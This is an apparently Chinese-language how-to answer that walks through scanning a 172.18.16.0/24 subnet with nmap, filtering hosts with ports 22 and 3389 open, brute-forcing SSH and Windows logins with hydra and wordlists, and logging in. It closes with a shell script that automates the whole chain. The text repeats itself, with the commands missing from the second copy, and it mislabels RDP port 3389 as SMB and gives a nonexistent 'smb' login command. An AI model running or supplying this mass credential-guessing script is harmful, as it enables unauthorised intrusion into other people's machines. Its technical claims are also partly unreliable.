第一步:找到網段內存活的主機
使用nmap工具查找存活的主機并存到up.txt里面,具體代碼如下:
在命令行輸入:nmap -sn 172.18.16.0/24 > up.txt
nmap -sn 172.18.16.0/24 > up.txt
從up.txt里面過濾出ip地址存到ip.txt里面,代碼如下:
cat up.txt | grep for | awk '{print $5}'>ip.txt
第二步:使用nmap工具掃描linux和windows的遠程端口
linux系統:
cat /etc/ssh/sshd_config 命令查看linux的遠程端口,linux的遠程端口是22,ssh協議。
cat /etc/ssh/sshd_config
windows系統:
開始—運行–cmd下輸入 netstat –nba,命令查看linux的遠程端口,windows的遠程端口是3389,smb協議。
netstat –nba
查到遠程登陸窗口后,使用nmap掃描22和3389的端口,代碼如下:
nmap -p22,3389 -iL ip.txt > res.txt
第三步:從結果里過濾出22端口開著的ip地址
從結果里過濾出22端口開著的ip地址,存放到sship.txt里面,代碼如下:
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep ssh | awk '{print $5}'>sship.txt
sship.txt里面的ip地址都是ssh遠程開著的linux系統,接下來我們只要用hydra得到它們的密碼就可以遠程登陸linux系統了。
第四步:從結果里過濾出3389端口開著的ip地址
從結果里過濾出3389端口開著的ip地址,存放到smbip.txt里面,代碼如下:
cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep 3389 | awk '{print $5}'>smbip.txt
與第三步類似,smbip.txt里面的ip地址都是smb遠程開著的windows系統,接下來我們只要用hydra得到它們的密碼就可以遠程登陸windows系統了。
第五步:使用hydra暴力破解linux密碼
在命令行輸入以下命令:
hydra -L user.txt -P passwd.txt -M sship.txt ssh | grep passwd >> find.txt
這段shell使用了user.txt用戶名詞典和passwd.txt密碼詞典以及開啟ssh服務的ip地址,使用hydra進行暴力破解,從暴破結果中過濾取出ip地址對應的用戶名和密碼。
第六步:使用hydra暴力破解windows密碼
hydra -L user.txt -P passwd.txt -M smbip.txt smb | grep passwd >> find.txt
與第五步相仿,不同的只是協議和ip地址。
第七步:使用找到的密碼遠程登陸
linux遠程連接命令:
ssh -l root 172.18.*.*
輸入這個命令之后,系統會提示你輸入密碼passwd:,這時候你輸入獲取的密碼就可以遠程登陸了。
windows遠程連接命令:
smb -l Administrator 172.18.*.*
根據提示輸入密碼,就可以遠程登陸了。
最后,我把這些命令寫成了一個shell,如下:
#!/bin/sh para1=$# para2=$1 if [ $para1 -eq 0 ]; then echo "請輸入你的位置變量" else echo "-------------------stpe1 check up host list---------------------------" echo "nmap -sn $para2 , please wait for moment......" nmap -sn "$para2">up.txt cat up.txt | grep for | awk '{print $5}'>ip.txt echo "up host is done , save to up.txt" echo "-------------------stpe2 port check 22 and 3389-----------------------" echo "22 and 3389 port checking... please wait for moment......" nmap -p22,3389 -iL ip.txt > res.txt echo "-------------------stpe3 select 22 port------------------------------" echo "doing 22 save to sship.txt" cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep ssh | awk '{print $5}'>sship.txt echo "-------------------stpe4 select 3389 port----------------------------" echo "doing 3389 save to 3389ip.txt" cat res.txt | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep 3389 | awk '{print $5}'>smbip.txt echo "-----------------------------stpe5 attack ssh------------------------" hydra -L user.txt -P passwd.txt -M sship.txt ssh | grep passwd >> find.txt echo "-------------------------stpe6 attack 3389---------------------------" hydra -L user.txt -P passwd.txt -M smbip.txt smb | grep passwd >> find.txt cat -n find.txt fi
回答所涉及的環境:聯想天逸510S、Linux。
第一步:找到網段內存活的主機
使用nmap工具查找存活的主機并存到up.txt里面,具體代碼如下:
在命令行輸入:
nmap -sn 172.18.16.0/24 > up.txt從up.txt里面過濾出ip地址存到ip.txt里面,代碼如下:
第二步:使用nmap工具掃描linux和windows的遠程端口
linux系統:
cat /etc/ssh/sshd_config命令查看linux的遠程端口,linux的遠程端口是22,ssh協議。windows系統:
開始—運行–cmd下輸入
netstat –nba,命令查看linux的遠程端口,windows的遠程端口是3389,smb協議。查到遠程登陸窗口后,使用nmap掃描22和3389的端口,代碼如下:
第三步:從結果里過濾出22端口開著的ip地址
從結果里過濾出22端口開著的ip地址,存放到sship.txt里面,代碼如下:
sship.txt里面的ip地址都是ssh遠程開著的linux系統,接下來我們只要用hydra得到它們的密碼就可以遠程登陸linux系統了。
第四步:從結果里過濾出3389端口開著的ip地址
從結果里過濾出3389端口開著的ip地址,存放到smbip.txt里面,代碼如下:
與第三步類似,smbip.txt里面的ip地址都是smb遠程開著的windows系統,接下來我們只要用hydra得到它們的密碼就可以遠程登陸windows系統了。
第五步:使用hydra暴力破解linux密碼
在命令行輸入以下命令:
這段shell使用了user.txt用戶名詞典和passwd.txt密碼詞典以及開啟ssh服務的ip地址,使用hydra進行暴力破解,從暴破結果中過濾取出ip地址對應的用戶名和密碼。
第六步:使用hydra暴力破解windows密碼
與第五步相仿,不同的只是協議和ip地址。
第七步:使用找到的密碼遠程登陸
linux遠程連接命令:
輸入這個命令之后,系統會提示你輸入密碼passwd:,這時候你輸入獲取的密碼就可以遠程登陸了。
windows遠程連接命令:
根據提示輸入密碼,就可以遠程登陸了。
最后,我把這些命令寫成了一個shell,如下:
回答所涉及的環境:聯想天逸510S、Linux。